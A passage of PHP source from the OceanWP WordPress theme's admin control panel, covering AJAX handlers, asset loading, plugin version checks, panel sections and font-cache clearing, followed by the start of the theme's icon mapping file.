define( $name, $value ) { if ( ! defined( $name ) ) { define( $name, $value ); } } /** * Init control panel. * * Only init the control panel when the visiting page is control panel or currently doing ajax. * * @since 1.0.0 */ public function init() { require_once OCEANWP_THEME_PANEL_DIR . '/includes/js-messages.php'; require_once OCEANWP_THEME_PANEL_DIR . '/includes/plugins-compatibility.php'; require_once OCEANWP_THEME_PANEL_DIR . '/includes/classes/class-helpers.php'; /** * Hook for control panel init. * * @since 1.3.0 */ do_action( 'oceanwp_theme_panel_init' ); add_action( 'wp_ajax_oceanwp_cp_load_pane_action', array( $this, 'load_theme_panel_pane' ) ); add_action( 'wp_ajax_oceanwp_cp_load_sidebar_warnings_action', array( $this, 'load_sidebar_warnings' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_assets' ) ); } /** * Init code on full dashboard part */ function init_general_part() { add_action( 'wp_ajax_oceanwp_cp_load_awaiting_mods_action', array( $this, 'load_awaiting_mods' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_admin_assets' ) ); } /** * Check if its control panel is currently viewing page. * * @since 1.0.0 * * @return boolean Test currently viewing page. */ public function is_theme_panel() { return (bool) isset( $_GET['page'] ) && $_GET['page'] === 'oceanwp'; } /** * Load control panel styles and scripts. */ public function enqueue_assets() { // Google Fonts. wp_enqueue_style( 'oceanwp-tp-googlefonts', 'https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&display=swap', array(), null ); // Enqueue styles. wp_enqueue_style( 'oceanwp-new-theme-panel', OCEANWP_THEME_PANEL_URI . '/assets/css/theme-panel.min.css', array(), OCEANWP_THEME_VERSION ); // Enqueue scripts. wp_enqueue_script( 'oceanwp-changelog-markdown', OCEANWP_THEME_PANEL_URI . '/assets/js/marked.min.js', array(), OCEANWP_THEME_VERSION, true ); wp_enqueue_script( 'oceanwp-new-theme-panel', OCEANWP_THEME_PANEL_URI . '/assets/js/theme-panel.min.js', array( 'jquery', 'wp-util', 'updates' ), OCEANWP_THEME_VERSION, true ); // Localize scripts. $sections = $this->get_sections(); // Get initial section. $initial_section = reset( $sections ); if ( $initial_section ) { $initial_section = $initial_section['href']; } wp_localize_script( 'oceanwp-new-theme-panel', 'oceanwp_cp_textdomain', oceanwp_adminpanel_textdomain() ); wp_localize_script( 'oceanwp-new-theme-panel', 'oceanwpThemePanel', array( 'initialSection' => $initial_section, 'nonce' => wp_create_nonce( 'oceanwp_theme_panel' ), ) ); } function enqueue_admin_assets() { wp_enqueue_script( 'oceanwp-admin-theme-panel', OCEANWP_THEME_PANEL_URI . '/assets/js/admin.js', array( 'jquery', 'wp-util' ), OCEANWP_THEME_VERSION, true ); } /** * Load the pane by the slug name. * * This function is called via admin-ajax.php. */ public function load_theme_panel_pane() { $slug = esc_attr( $_POST['slug'] ); ob_start(); $this->print_pane( $slug ); $pane_html = ob_get_clean(); $pane_html = '
                    ' . $pane_html; wp_send_json_success( $pane_html ); wp_die(); } /** * Load Sidebar Warnings. * * @return void */ public function load_sidebar_warnings() { $warnings = array(); if( ! empty( get_theme_update_available( wp_get_theme() ) ) ) { $warnings['home'] = __( 'New theme version is available', 'oceanwp' ); } $warnings = apply_filters( 'oceanwp_tp_sidebar_warnings', $warnings ); if ( empty( $warnings ) ) { wp_send_json_error(); } else { $warning_icon_text = esc_attr__( 'Warning icon', 'oceanwp' ); $warnings = array_map( function( $message ) use ( $warning_icon_text ) { return '' . $warning_icon_text . ''; }, $warnings ); wp_send_json_success( $warnings ); } } /** * Load Awaiting Modifications. * * @return void */ public function load_awaiting_mods() { $warnings = array(); if( ! empty( get_theme_update_available( wp_get_theme() ) ) ) { $warnings['home'] = __( 'New theme version is available', 'oceanwp' ); } $warnings = apply_filters( 'oceanwp_tp_sidebar_warnings', $warnings ); if ( empty( $warnings ) ) { wp_send_json_error(); } else { wp_send_json_success( [ 'count' => count( $warnings ) ] ); } } /** * Maybe has plugin updates warning. * * @param mixed $warnings * @return void */ public function maybe_has_plugin_updates_warning( $warnings ) { $has_updates = false; $recommended_plugins = oceanwp_recommended_plugins(); $pro_plugins = oceanwp_pro_plugins(); $sidebar_plugins = oceanwp_sidebar_plugins(); $plugins_compatibility_versions = oceanwp_plugins_compatibility(); foreach ( $recommended_plugins as $recommended_plugin_slug => $recommended_plugin_data ) { $real_plugin_path = oceanwp_theme_panel()->find_plugin_path( $recommended_plugin_slug ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); if ( $is_installed ) { $current_plugin_version = oceanwp_theme_panel()->get_current_plugin_version( $real_plugin_path ); if ( ! empty( $current_plugin_version ) && ! empty( $plugins_compatibility_versions[ $recommended_plugin_slug ] ) && version_compare( $current_plugin_version, $plugins_compatibility_versions[ $recommended_plugin_slug ], '<' ) ) { $has_updates = true; } } } foreach ( $pro_plugins as $pro_plugin_slug => $pro_plugin_data ) { $real_plugin_path = oceanwp_theme_panel()->find_plugin_path( $pro_plugin_slug ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); if ( $is_installed ) { $current_plugin_version = oceanwp_theme_panel()->get_current_plugin_version( $real_plugin_path ); if ( ! empty( $current_plugin_version ) && ! empty( $plugins_compatibility_versions[ $pro_plugin_slug ] ) && version_compare( $current_plugin_version, $plugins_compatibility_versions[ $pro_plugin_slug ], '<' ) ) { $has_updates = true; } } } foreach ( $sidebar_plugins as $sidebar_plugin_slug ) { $real_plugin_path = oceanwp_theme_panel()->find_plugin_path( $sidebar_plugin_slug ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); if ( $sidebar_plugin_slug == 'ocean-elementor-widgets' || $sidebar_plugin_slug == 'ocean-gutenberg-blocks' || $sidebar_plugin_slug == 'ocean-white-label' ) { $is_activated = false; $method_name = str_replace('-','_', $sidebar_plugin_slug) . '_activated'; if( $is_installed && method_exists( 'OceanWP_Theme_Panel', $method_name ) ) { $is_activated = $this->$method_name(); } if ( ! $is_installed || ! $is_activated || ! $this->extra_installed() ) { continue; } } if ( $is_installed ) { $current_plugin_version = oceanwp_theme_panel()->get_current_plugin_version( $real_plugin_path ); if ( ! empty( $current_plugin_version ) && ! empty( $plugins_compatibility_versions[ $sidebar_plugin_slug ] ) && version_compare( $current_plugin_version, $plugins_compatibility_versions[ $sidebar_plugin_slug ], '<' ) ) { if ( $sidebar_plugin_slug == 'ocean-elementor-widgets' ) { $warnings['elementor-widgets'] = __( 'You should update plugin Ocean Elementor Widgets to use new features', 'oceanwp' ); } if ( $sidebar_plugin_slug == 'ocean-gutenberg-blocks' ) { $warnings['gutenberg-blocks'] = __( 'You should update plugin Ocean Gutenberg Blocks to use new features', 'oceanwp' ); } if ( $sidebar_plugin_slug == 'ocean-white-label' ) { $warnings['white-label'] = __( 'You should update plugin Ocean White Label to use new features', 'oceanwp' ); } } } } if ( $has_updates ) { $warnings['useful-plugins'] = __( 'Available new versions some plugins', 'oceanwp' ); } return $warnings; } /** * Print pane HTML by slug. * * @param string $slug Pane ID. */ public function print_pane( $slug = '' ) { $sections = $this->get_sections(); $default = reset( $sections ); if ( empty( $slug ) ) { $slug = $default['href']; } $file = OCEANWP_THEME_PANEL_DIR . "/views/panes/{$slug}.php"; // String pattern replace. $slug = str_replace( '-', '_', $slug ); // Get file location. $file = apply_filters( "oceanwp_theme_panel_pane_{$slug}", $file ); if ( file_exists( $file ) ) { include_once $file; return; } } /** * Panel Plugin Upgrade Message. * * @param mixed $plugin_slug * @return void */ public function panel_plugin_upgrade_message( $plugin_slug ) { $real_plugin_path = oceanwp_theme_panel()->find_plugin_path( $plugin_slug ); $is_installed = oceanwp_theme_panel()->check_plugin_installed( $real_plugin_path ); $is_activated = false; $method_name = str_replace('-','_', $plugin_slug) . '_activated'; if( $is_installed && method_exists( 'OceanWP_Theme_Panel', $method_name ) ) { $is_activated = $this->$method_name(); } $plugins_compatibility_versions = oceanwp_plugins_compatibility(); if ( $is_installed && $is_activated && $this->extra_installed() ) { $current_plugin_version = oceanwp_theme_panel()->get_current_plugin_version( $real_plugin_path ); if ( ! empty( $current_plugin_version ) && ! empty( $plugins_compatibility_versions[ $plugin_slug ] ) && version_compare( $current_plugin_version, $plugins_compatibility_versions[ $plugin_slug ], '<' ) ) { $file = OCEANWP_THEME_PANEL_DIR . '/views/panes/plugin-upgrade-info.php'; if ( file_exists( $file ) ) { $panel_args = array( 'plugin_name' => $this->get_current_plugin_name( $real_plugin_path ), ); include_once $file; return; } } } } /** * Get registered sections. * * @return array Registered sections. */ public function get_sections() { $sections = array( 'home' => array( 'title' => __( 'Home', 'oceanwp' ), 'href' => 'home', 'order' => 10, ), 'customizer' => array( 'title' => __( 'Customizer', 'oceanwp' ), 'href' => 'customizer', 'order' => 20, ), 'install-demos' => array( 'title' => __( 'Install Demos', 'oceanwp' ), 'href' => 'install-demos', 'order' => 30, ), 'ocean-images' => array( 'title' => __( 'Ocean Images', 'oceanwp' ), 'href' => 'ocean-images', 'order' => 40, ), 'integration' => array( 'title' => __( 'Integration', 'oceanwp' ), 'href' => 'integration', 'order' => 50, ), 'useful-plugins' => array( 'title' => __( 'Useful Plugins', 'oceanwp' ), 'href' => 'useful-plugins', 'order' => 60, ), 'changelog' => array( 'title' => __( 'Changelog', 'oceanwp' ), 'href' => 'changelog', 'order' => 70, ), 'free_vs_pro' => array( 'title' => __( 'Free vs Pro', 'oceanwp' ), 'href' => 'free-vs-pro', 'order' => 80, ), 'elementor-widgets' => array( 'title' => __( 'Elementor Widgets', 'oceanwp' ), 'href' => 'elementor-widgets', 'order' => 90, ), 'elementor-library' => array( 'title' => __( 'Elementor Library', 'oceanwp' ), 'href' => 'elementor-library', 'order' => 91, ), 'gutenberg-blocks' => array( 'title' => __( 'Gutenberg Blocks', 'oceanwp' ), 'href' => 'gutenberg-blocks', 'order' => 100, ), 'extra-settings' => array( 'title' => __( 'Extra Settings', 'oceanwp' ), 'href' => 'extra-settings', 'order' => 110, ), 'admin-settings' => array( 'title' => __( 'Admin Settings', 'oceanwp' ), 'href' => 'admin-settings', 'order' => 111, ), 'white-label' => array( 'title' => __( 'White Label', 'oceanwp' ), 'href' => 'white-label', 'order' => 115, ), 'system-info' => array( 'title' => __( 'System Info', 'oceanwp' ), 'href' => 'system-info', 'order' => 120, ), 'help' => array( 'title' => __( 'Help', 'oceanwp' ), 'href' => 'help', 'order' => 130, ), ); $sections = apply_filters( 'oceanwp_theme_panel_sections', $sections ); // Sort based on orders. uasort( $sections, function( $first, $second ) { return $first['order'] <=> $second['order']; } ); return $sections; } /** * Theme Panel Sections * * @param mixed $sections * @return void */ public function control_theme_panel_sections( $sections ) { $white_label_need_hide = get_option( 'oceanwp_hide_box', false ); if( $white_label_need_hide && isset( $sections['white-label'] ) ) { unset( $sections['white-label'] ); } $changelog_need_hide = get_option( 'oceanwp_hide_changelog', false ); if( $changelog_need_hide && isset( $sections['changelog'] ) ) { unset( $sections['changelog'] ); } $help_section_need_hide = get_option( 'oceanwp_hide_help_section', false ); if( $help_section_need_hide && isset( $sections['help'] ) ) { unset( $sections['help'] ); } $need_to_upgrade = $this->need_to_upgrade(); if( ! $need_to_upgrade && isset( $sections['free_vs_pro'] ) ) { unset( $sections['free_vs_pro'] ); } return $sections; } /** * Include Panel Top Header * * @return $string */ public function panel_top_header() { return OCEANWP_THEME_DIR . '/inc/themepanel/views/layout/top-bar.php'; } /** * Banner upgrade link * * @return $string */ public function banner_upgrade_link() { return 'https://oceanwp.org/core-extensions-bundle/'; } /** * Install Ocean Extra Proposal * * @return $string */ public function please_install_oe_text_link() { return sprintf( esc_html__( '%1$sInstall free Ocean Extra recommended plugin%2$s to unlock this feature.', 'oceanwp' ), '
                    ', '' ); } /** * Upgrade to plans Proposal * * @return $string */ public function upgrade_bundle_plan_text_link() { return sprintf( esc_html__( '%1$sUpgrade to the Business or Agency Ocean Core Extensions Bundle plans%2$s to unlock this feature.', 'oceanwp' ), '', '' ); } /** * Upgrade to Ocean Core Extensions Bundle * * @return $string */ public function upgrade_core_extensions_bundle_text_link() { return sprintf( esc_html__( '%1$sUpgrade to the Ocean Core Extensions Bundle%2$s to unlock this feature.', 'oceanwp' ), '', '' ); } /** * Install Ocean Extra and Upgrade to Ocean Core Extensions Bundle * * @return $string */ public function install_oe_upgrade_core_extensions_bundle_text_link() { return sprintf( esc_html__( '%1$s or %2$s', 'oceanwp' ), sprintf( '%s', 'https://youtu.be/kqHNgUPWMTY', esc_html__( 'Install free Ocean Extra recommended plugin', 'oceanwp' ) ), sprintf( '%s', 'https://oceanwp.org/core-extensions-bundle/', esc_html__( 'upgrade to the Ocean Core Extensions Bundle', 'oceanwp' ) ) ); } /** * Check if Ocean Extra plugin is active. * * @return bool */ public function extra_installed() { $retval = class_exists( 'Ocean_Extra' ); return $retval; } public function ocean_elementor_widgets_activated() { $retval = class_exists( 'Ocean_Elementor_Widgets' ); return $retval; } public function ocean_gutenberg_blocks_activated() { $retval = class_exists( 'Ocean_Gutenberg_Blocks' ); return $retval; } public function ocean_pro_demos_activated() { $retval = class_exists( 'Ocean_Pro_Demos' ); return $retval; } public function ocean_white_label_activated() { $retval = class_exists( 'Ocean_White_Label' ); return $retval; } /** * Check AJAX Access. * * @param mixed $nonce_value * @param mixed $nonce_action * @param mixed $response_type * @return void */ public static function check_ajax_access( $nonce_value, $nonce_action, $response_type = 'json' ) { $response_message = ''; if ( empty( $nonce_value ) || ! wp_verify_nonce( $nonce_value, $nonce_action ) ) { $response_message = esc_html__( 'Something went wrong', 'oceanwp' ); } if ( ! current_user_can( 'administrator' ) ) { $response_message = esc_html__( 'You do not have sufficient privileges for this action.', 'oceanwp' ); } if ( ! empty( $response_message ) ) { if ( $response_type == 'json' ) { wp_send_json_error( array( 'message' => $response_message ) ); } else { http_response_code( 404 ); echo $response_message; die; } } } /** * Check if user need to upgrade. * * @return bool */ public function need_to_upgrade() { global $owp_fs; if ( ! empty( $owp_fs ) ) { $retval = $owp_fs->is_pricing_page_visible(); } else { $retval = false; } if ( ! $this->extra_installed() ) { $retval = true; } return $retval; } /** * Get WP plugins information from WP.org API. * * @param string $slugs Plugin slugs. */ public function get_wp_plugins_info( $slugs = array() ) { if ( empty( $slugs ) ) { return array(); } $wp_api = add_query_arg( array( 'action' => 'plugin_information', 'request' => array( 'slugs' => $slugs, 'fields' => array( 'icons', 'short_description', ), ), ), 'https://api.wordpress.org/plugins/info/1.2' ); $plugins_info = json_decode( wp_remote_retrieve_body( wp_remote_get( $wp_api ) ), true ); if ( isset( $plugins_info['error'] ) || empty( $plugins_info ) ) { return array(); } return $plugins_info; } /** * Get plugin basename by plugin slug. * Works only for installed plugins. * * @param string $plugin_slug */ public function find_plugin_path( $plugin_slug = '' ) { $plugins = get_plugins(); foreach ( $plugins as $plugin_address => $plugin_data ) { // Extract slug from address if ( strlen( $plugin_address ) == basename( $plugin_address ) ) { $slug = strtolower( str_replace( '.php', '', $plugin_address ) ); } else { $slug = strtolower( str_replace( '/' . basename( $plugin_address ), '', $plugin_address ) ); } // Check if slug exists if ( strtolower( $plugin_slug ) == $slug ) { return $plugin_address; } } return false; } /** * Check if Plugin is installed. * * @param mixed $plugin_slug * @return void */ function check_plugin_installed( $plugin_slug ) { $installed_plugins = get_plugins(); if ( ! empty( $plugin_slug ) ) { $retval = array_key_exists( $plugin_slug, $installed_plugins ) || in_array( $plugin_slug, $installed_plugins, true ); } else { $retval = false; } return $retval; } /** * Get plugin version */ function get_current_plugin_version( $plugin_slug ) { $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_slug ); $plugin_data_version = ! empty( $plugin_data['Version'] ) ? $plugin_data['Version'] : false; return $plugin_data_version; } /** * Get plugin name */ function get_current_plugin_name( $plugin_slug ) { $plugin_data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin_slug ); $plugin_data_name = ! empty( $plugin_data['Name'] ) ? $plugin_data['Name'] : false; return $plugin_data_name; } public function clear_fonts () { self::check_ajax_access( $_POST['nonce'], 'oceanwp_theme_panel' ); $upload = wp_upload_dir(); $uploads_fonts_dir = 'oceanwp-webfonts'; $uploads_css_dir = 'oceanwp-webfonts-css'; if ( ! file_exists( trailingslashit( $upload['basedir'] ) . $uploads_fonts_dir ) ) { wp_send_json_error( array( 'message' => esc_html__( 'Fonts folder does not exist', 'oceanwp' ) ) ); } if ( ! file_exists( trailingslashit( $upload['basedir'] ) . $uploads_css_dir ) ) { wp_send_json_error( array( 'message' => esc_html__( 'CSS folder does not exist', 'oceanwp' ) ) ); } try { $files_fonts = glob(trailingslashit( $upload['basedir'] ) . $uploads_fonts_dir."/*"); if (count($files_fonts) > 0) { foreach ($files_fonts as $file) { if (file_exists($file)) { unlink($file); } } } $files_css = glob(trailingslashit( $upload['basedir'] ) . $uploads_css_dir."/*"); if (count($files_css) > 0) { foreach ($files_css as $file) { if (file_exists($file)) { unlink($file); } } } } catch ( Exception $e ) { wp_send_json_error( array( 'message' => esc_html__( 'Something went wrong', 'oceanwp' ) ) ); } wp_send_json_success( array( 'message' => esc_html__( 'Data was cleared', 'oceanwp' ) ) ); } } /** * Create single instance and globalize. * * @return OceanWP_Theme_Panel */ function oceanwp_theme_panel() { return OceanWP_Theme_Panel::get_instance(); } // Initialize control panel. oceanwp_theme_panel(); oceanwp-theme-icons.php000064400000056145151551031110011126 0ustar00 array( 'sili' => 'icon-home', 'fai' => 'fas fa-home', 'svg' => 'homepage', ), 'search' => array( 'sili' => 'icon-magnifier', 'fai' => 'fas fa-search', 'svg' => 'search', ), 'user' => array( 'sili' => 'icon-user', 'fai' => 'fas fa-user-circle', 'svg' => 'author', ), 'date' => array( 'sili' => 'icon-clock', 'fai' => 'far fa-calendar-alt', 'svg' => 'date-published', ), 'm_date' => array( 'sili' => 'icon-note', 'fai' => 'far fa-calendar-check', 'svg' => 'date-modified', ), 'category' => array( 'sili' => 'icon-folder', 'fai' => 'far fa-folder-open', 'svg' => 'categories', ), 'r_time' => array( 'sili' => 'icon-cup', 'fai' => 'fas fa-mug-hot', 'svg' => 'reading-time-hourglass', ), 'comment' => array( 'sili' => 'icon-bubble', 'fai' => 'far fa-comments', 'svg' => 'comments', ), 'quote' => array( 'sili' => 'icon-speech', 'fai' => 'far fa-comment-dots', 'svg' => 'quotes', ), 's_quote' => array( 'sili' => 'icon-speech', 'fai' => 'fas fa-quote-right', 'svg' => 'quotes', ), 'link' => array( 'sili' => 'icon-link', 'fai' => 'fas fa-link', 'svg' => 'link', ), 'close' => array( 'sili' => 'icon-close', 'fai' => 'fas fa-times-circle', 'svg' => 'close', ), 'close_x' => array( 'sili' => 'icon-close', 'fai' => 'fas fa-times', 'svg' => 'close', ), 'eye' => array( 'sili' => 'icon-eye', 'fai' => 'far fa-eye', 'svg' => 'eye', ), 'menu' => array( 'sili' => 'icon-menu', 'fai' => 'fas fa-bars', 'svg' => 'bars', ), 'grid' => array( 'sili' => 'icon-grid', 'fai' => 'fas fa-th', 'svg' => 'grid-view', ), 'list' => array( 'sili' => 'icon-list', 'fai' => 'fas fa-list', 'svg' => 'list-view', ), 'angle_up' => array( 'sili' => 'fa fa-angle-up', 'fai' => 'fa fa-angle-up', 'svg' => 'small-arrow-up', ), 'angle_down' => array( 'sili' => 'fa fa-angle-down', 'fai' => 'fa fa-angle-down', 'svg' => 'small-arrow-down', ), 'angle_left' => array( 'sili' => 'fa fa-angle-left', 'fai' => 'fa fa-angle-left', 'svg' => 'small-arrow-left', ), 'angle_right' => array( 'sili' => 'fa fa-angle-right', 'fai' => 'fa fa-angle-right', 'svg' => 'small-arrow-right', ), 'chevron_up' => array( 'sili' => 'icon-arrow-up', 'fai' => 'fa fa-chevron-up', 'svg' => 'chevron-up', ), 'caret_up' => array( 'sili' => 'fa fa-caret-up', 'fai' => 'fa fa-caret-up', 'svg' => 'caret-up', ), 'double_arrows_up' => array( 'sili' => 'fa fa-angle-double-up', 'fai' => 'fa fa-angle-double-up', 'svg' => 'double-arrows-up', ), 'double_arrows_down' => array( 'sili' => 'fa fa-angle-double-down', 'fai' => 'fa fa-angle-double-down', 'svg' => 'double-arrows-down', ), 'double_arrows_left' => array( 'sili' => 'fa fa-angle-double-left', 'fai' => 'fa fa-angle-double-left', 'svg' => 'double-arrows-left', ), 'double_arrows_right' => array( 'sili' => 'fa fa-angle-double-right', 'fai' => 'fa fa-angle-double-right', 'svg' => 'double-arrows-right', ), 'long_arrow_alt_up' => array( 'sili' => 'fas fa-long-arrow-alt-up', 'fai' => 'fas fa-long-arrow-alt-up', 'svg' => 'long-arrow-alt-up', ), 'long_arrow_alt_down' => array( 'sili' => 'fas fa-long-arrow-alt-down', 'fai' => 'fas fa-long-arrow-alt-down', 'svg' => 'long-arrow-alt-down', ), 'long_arrow_alt_left' => array( 'sili' => 'fas fa-long-arrow-alt-left', 'fai' => 'fas fa-long-arrow-alt-left', 'svg' => 'long-arrow-alt-left', ), 'long_arrow_alt_right' => array( 'sili' => 'fas fa-long-arrow-alt-right', 'fai' => 'fas fa-long-arrow-alt-right', 'svg' => 'long-arrow-alt-right', ), 'arrow_alt_circle_up' => array( 'sili' => 'fa fa-arrow-alt-circle-up', 'fai' => 'fa fa-arrow-alt-circle-up', 'svg' => 'arrow-alt-circle-up', ), 'arrow_up' => array( 'sili' => 'fa fa-arrow-up', 'fai' => 'fa fa-arrow-up', 'svg' => 'arrow-up', ), 'arrow_down' => array( 'sili' => 'fa fa-arrow-down', 'fai' => 'fa fa-arrow-down', 'svg' => 'arrow-down', ), 'arrow_left' => array( 'sili' => 'fa fa-arrow-left', 'fai' => 'fa fa-arrow-left', 'svg' => 'arrow-left', ), 'arrow_right' => array( 'sili' => 'fa fa-arrow-right', 'fai' => 'fa fa-arrow-right', 'svg' => 'arrow-right', ), 'level_up_alt' => array( 'sili' => 'fa fa-level-up-alt', 'fai' => 'fa fa-level-up-alt', 'svg' => 'level-up-alt', ), 'caret_square_up' => array( 'sili' => 'fa fa-caret-square-up', 'fai' => 'fa fa-caret-square-up', 'svg' => 'caret-square-up', ), 'heart' => array( 'sili' => 'far fa-heart', 'fai' => 'far fa-heart', 'svg' => 'wishlist', ), 'map_marker' => array( 'sili' => 'icon-location-pin', 'fai' => 'fas fa-map-marker-alt', 'svg' => 'place', ), 'hand_point_left' => array( 'sili' => 'far fa-hand-point-left', 'fai' => 'far fa-hand-point-left', 'svg' => 'side-panel-opening-2-left', ), 'hand_point_right' => array( 'sili' => 'far fa-hand-point-right', 'fai' => 'far fa-hand-point-right', 'svg' => 'side-panel-opening-2-right', ), 'phone' => array( 'sili' => 'icon-phone', 'fai' => 'fas fa-phone-alt', 'svg' => 'phone', ), 'smartphone' => array( 'sili' => 'icon-screen-smartphone', 'fai' => 'fas fa-mobile-alt', 'svg' => 'mobile', ), 'fax' => array( 'sili' => 'icon-printer', 'fai' => 'fas fa-fax', 'svg' => 'fax', ), 'website' => array( 'sili' => 'fas fa-globe', 'fai' => 'fas fa-globe', 'svg' => 'website', ), 'hashtag' => array( 'sili' => 'fas fa-hashtag', 'fai' => 'fas fa-hashtag', 'svg' => 'hashtag', ), 'hollow_ring' => array( 'sili' => 'far fa-circle', 'fai' => 'far fa-circle', 'svg' => 'hollow-ring', ), 'login' => array( 'sili' => 'icon-login', 'fai' => 'fas fa-sign-in-alt', 'svg' => 'login', ), 'logout' => array( 'sili' => 'fas fa-sign-out-alt', 'fai' => 'fas fa-sign-out-alt', 'svg' => 'logout', ), 'sms' => array( 'sili' => 'icon-speech', 'fai' => 'fas fa-sms', 'svg' => 'sms', ), 'reading_time_stopwatch' => array( 'sili' => 'fas fa-stopwatch', 'fai' => 'fas fa-stopwatch', 'svg' => 'reading-time-stopwatch', ), 'windows' => array( 'sili' => 'fab fa-windows', 'fai' => 'fab fa-windows', 'svg' => 'windows', ), 'zoom' => array( 'sili' => 'fas fa-video', 'fai' => 'fas fa-video', 'svg' => 'zoom', ), 'android' => array( 'sili' => 'fab fa-android', 'fai' => 'fab fa-android', 'svg' => 'android', ), 'behance' => array( 'sili' => 'fab fa-behance', 'fai' => 'fab fa-behance', 'svg' => 'behance', ), 'blogger' => array( 'sili' => 'fab fa-blogger', 'fai' => 'fab fa-blogger', 'svg' => 'blogger', ), 'discord' => array( 'sili' => 'fab fa-discord', 'fai' => 'fab fa-discord', 'svg' => 'discord', ), 'discord' => array( 'sili' => 'fab fa-discord', 'fai' => 'fab fa-discord', 'svg' => 'discord', ), 'gmail' => array( 'sili' => 'fab fa-gmail', 'fai' => 'fab fa-gmail', 'svg' => 'gmail', ), 'google_drive' => array( 'sili' => 'fab fa-google-drive', 'fai' => 'fab fa-google-drive', 'svg' => 'google-drive', ), 'ios' => array( 'sili' => 'fab fa-apple', 'fai' => 'fab fa-apple', 'svg' => 'ios', ), 'messanger' => array( 'sili' => 'fab fa-facebook-messenger', 'fai' => 'fab fa-facebook-messenger', 'svg' => 'messanger', ), 'reddit' => array( 'sili' => 'fab fa-reddit-alien', 'fai' => 'fab fa-reddit-alien', 'svg' => 'reddit', ), 'shazam' => array( 'sili' => 'fas fa-music', 'fai' => 'fas fa-music', 'svg' => 'shazam', ), 'snapchat' => array( 'sili' => 'fab fa-snapchat', 'fai' => 'fab fa-snapchat', 'svg' => 'snapchat', ), 'soundcloud' => array( 'sili' => 'fab fa-soundcloud', 'fai' => 'fab fa-soundcloud', 'svg' => 'soundcloud', ), 'spotify' => array( 'sili' => 'fab fa-spotify', 'fai' => 'fab fa-spotify', 'svg' => 'spotify', ), 'tinder' => array( 'sili' => 'fab fa-tinder', 'fai' => 'fab fa-tinder', 'svg' => 'tinder', ), 'viber' => array( 'sili' => 'fab fa-viber', 'fai' => 'fab fa-viber', 'svg' => 'viber', ), 'wechat' => array( 'sili' => 'fab fa-wechat', 'fai' => 'fab fa-wechat', 'svg' => 'wechat', ), 'envelope_open' => array( 'sili' => 'far fa-envelope-open', 'fai' => 'far fa-envelope-open', 'svg' => 'envelope-open', ), 'quote_left' => array( 'sili' => 'fas fa-quote-left', 'fai' => 'fas fa-quote-left', 'svg' => 'quote-left', ), 'quote_right' => array( 'sili' => 'fas fa-quote-right', 'fai' => 'fas fa-quote-right', 'svg' => 'quote-right', ), 'spinner' => array( 'sili' => 'fas fa-spinner', 'fai' => 'fas fa-spinner', 'svg' => 'spinner', ), 'sync' => array( 'sili' => 'icon-refresh', 'fai' => 'fas fa-sync-alt', 'svg' => 'sync', ), 'arrow_alt_circle_down' => array( 'sili' => 'icon-arrow-down-circle', 'fai' => 'far fa-arrow-alt-circle-down', 'svg' => 'arrow-alt-circle-down', ), 'arrow_alt_circle_left' => array( 'sili' => 'icon-arrow-left-circle', 'fai' => 'far fa-arrow-alt-circle-left', 'svg' => 'arrow-alt-circle-left', ), 'arrow_alt_circle_right' => array( 'sili' => 'far fa-arrow-alt-circle-right', 'fai' => 'far fa-arrow-alt-circle-right', 'svg' => 'arrow-alt-circle-right', ), 'buffer' => array( 'sili' => 'icon-layers', 'fai' => 'fab fa-buffer', 'svg' => 'buffer', ), 'caret_down' => array( 'sili' => 'fas fa-caret-down', 'fai' => 'fas fa-caret-down', 'svg' => 'caret-down', ), 'caret_left' => array( 'sili' => 'fas fa-caret-left', 'fai' => 'fas fa-caret-left', 'svg' => 'caret-left', ), 'caret_right' => array( 'sili' => 'fas fa-caret-right', 'fai' => 'fas fa-caret-right', 'svg' => 'caret-right', ), 'chevron_down' => array( 'sili' => 'fas fa-chevron-down', 'fai' => 'fas fa-chevron-down', 'svg' => 'chevron-down', ), 'chevron_left' => array( 'sili' => 'fas fa-chevron-left', 'fai' => 'fas fa-chevron-left', 'svg' => 'chevron-left', ), 'chevron_right' => array( 'sili' => 'fas fa-chevron-right', 'fai' => 'fas fa-chevron-right', 'svg' => 'chevron-right', ), 'clock' => array( 'sili' => 'far fa-clock', 'fai' => 'far fa-clock', 'svg' => 'clock', ), 'copyright' => array( 'sili' => 'far fa-copyright', 'fai' => 'far fa-copyright', 'svg' => 'copyright', ), 'copyright' => array( 'sili' => 'far fa-copyright', 'fai' => 'far fa-copyright', 'svg' => 'copyright', ), 'arrow_down' => array( 'sili' => 'fas fa-arrow-down', 'fai' => 'fas fa-arrow-down', 'svg' => 'arrow-down', ), 'arrow_left' => array( 'sili' => 'fas fa-arrow-left', 'fai' => 'fas fa-arrow-left', 'svg' => 'arrow-left', ), 'arrow_right' => array( 'sili' => 'fas fa-arrow-right', 'fai' => 'fas fa-arrow-right', 'svg' => 'arrow-right', ), 'caret_square_down' => array( 'sili' => 'far fa-caret-square-down', 'fai' => 'far fa-caret-square-down', 'svg' => 'caret-square-down', ), 'caret_square_left' => array( 'sili' => 'far fa-caret-square-left', 'fai' => 'far fa-caret-square-left', 'svg' => 'caret-square-left', ), 'caret_square_right' => array( 'sili' => 'far fa-caret-square-right', 'fai' => 'far fa-caret-square-right', 'svg' => 'caret-square-right', ), 'level_down_alt' => array( 'sili' => 'fas fa-level-down-alt', 'fai' => 'fas fa-level-down-alt', 'svg' => 'level-down-alt', ), // Cart icons. 'icon_basket' => array( 'sili' => 'icon-basket', 'fai' => 'icon-basket', 'svg' => 'cart-menu-1', ), 'icon_handbag' => array( 'sili' => 'icon-handbag', 'fai' => 'icon-handbag', 'svg' => 'cart-menu-4', ), 'shopping_basket' => array( 'sili' => 'fas fa-shopping-basket', 'fai' => 'fas fa-shopping-basket', 'svg' => 'cart-menu-2', ), 'shopping_bag' => array( 'sili' => 'fas fa-shopping-bag', 'fai' => 'fas fa-shopping-bag', 'svg' => 'shopping-bag', ), 'shopping_cart' => array( 'sili' => 'fas fa-shopping-cart', 'fai' => 'fas fa-shopping-cart', 'svg' => 'shopping-cart', ), // Social icons. 'twitter' => array( 'sili' => 'fab fa-twitter', 'fai' => 'fab fa-twitter', 